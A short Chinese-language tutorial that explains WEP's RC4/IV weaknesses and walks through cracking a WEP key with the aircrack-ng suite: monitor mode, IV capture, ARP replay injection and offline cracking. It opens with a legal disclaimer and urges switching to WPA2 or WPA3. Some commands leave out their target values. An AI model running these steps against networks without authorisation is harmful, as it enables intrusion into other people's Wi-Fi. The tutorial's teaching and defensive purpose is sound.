⚠️ 法律聲明: 本文內容僅供資安教學、授權滲透測試、學術研究之用。未經網路擁有者明確書面授權,嘗試破解、連接、竊取他人無線網路資料均屬違法 (刑法第 359 條、資通安全管理法等),一切法律後果由操作者自負。 請勿用於任何非法用途。
WEP (Wired Equivalent Privacy) 採用 RC4 流式密碼 + 24-bit IV,存在嚴重設計缺陷 (FMS 攻擊、KoreK 攻擊、PTW 攻擊),現代工具可在分鐘級破解。WPA/WPA2/WPA3 使用 AES-CCMP/SAE,目前無實用級離線破解手段 (除非密碼極弱可字典攻擊)。保護網路請務必停用 WEP,改用 WPA2-AES 或 WPA3。
airmon-ng, airodump-ng, aireplay-ng, aircrack-ng (CLI) 或 Wifite, Fern WiFi Cracker (GUI)註: BackTrack 3 (2008) 已停止維護,現代實務請使用 Kali Linux 2024.x,驅動支援更完善、工具鏈更新。
# 1. 介面卡進入監聽模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0 # 產生 wlan0mon
# 2. 掃描目標 AP
sudo airodump-ng wlan0mon
# 記下目標 BSSID、Channel、ESSID
# 3. 鎖定目標抓封包 (需捕獲足夠 IVs)
sudo airodump-ng -c --bssid -w capture wlan0mon
# 4. (可選) 強制產生流量加速 IVs 收集
sudo aireplay-ng -3 -b -h wlan0mon # ARP Replay 攻擊
# 5. 離線破解
sudo aircrack-ng -b capture-01.cap
# PTW 攻擊預設啟動,通常 20,000-30,000 IVs 即可破解 104-bit WEP
現代替代: Wifite (自動化腳本) 一鍵完成掃描、去認證、ARP Replay、破解全流程。
理解破解原理,是為了建立更強防禦。請將知識用於守護,而非侵害。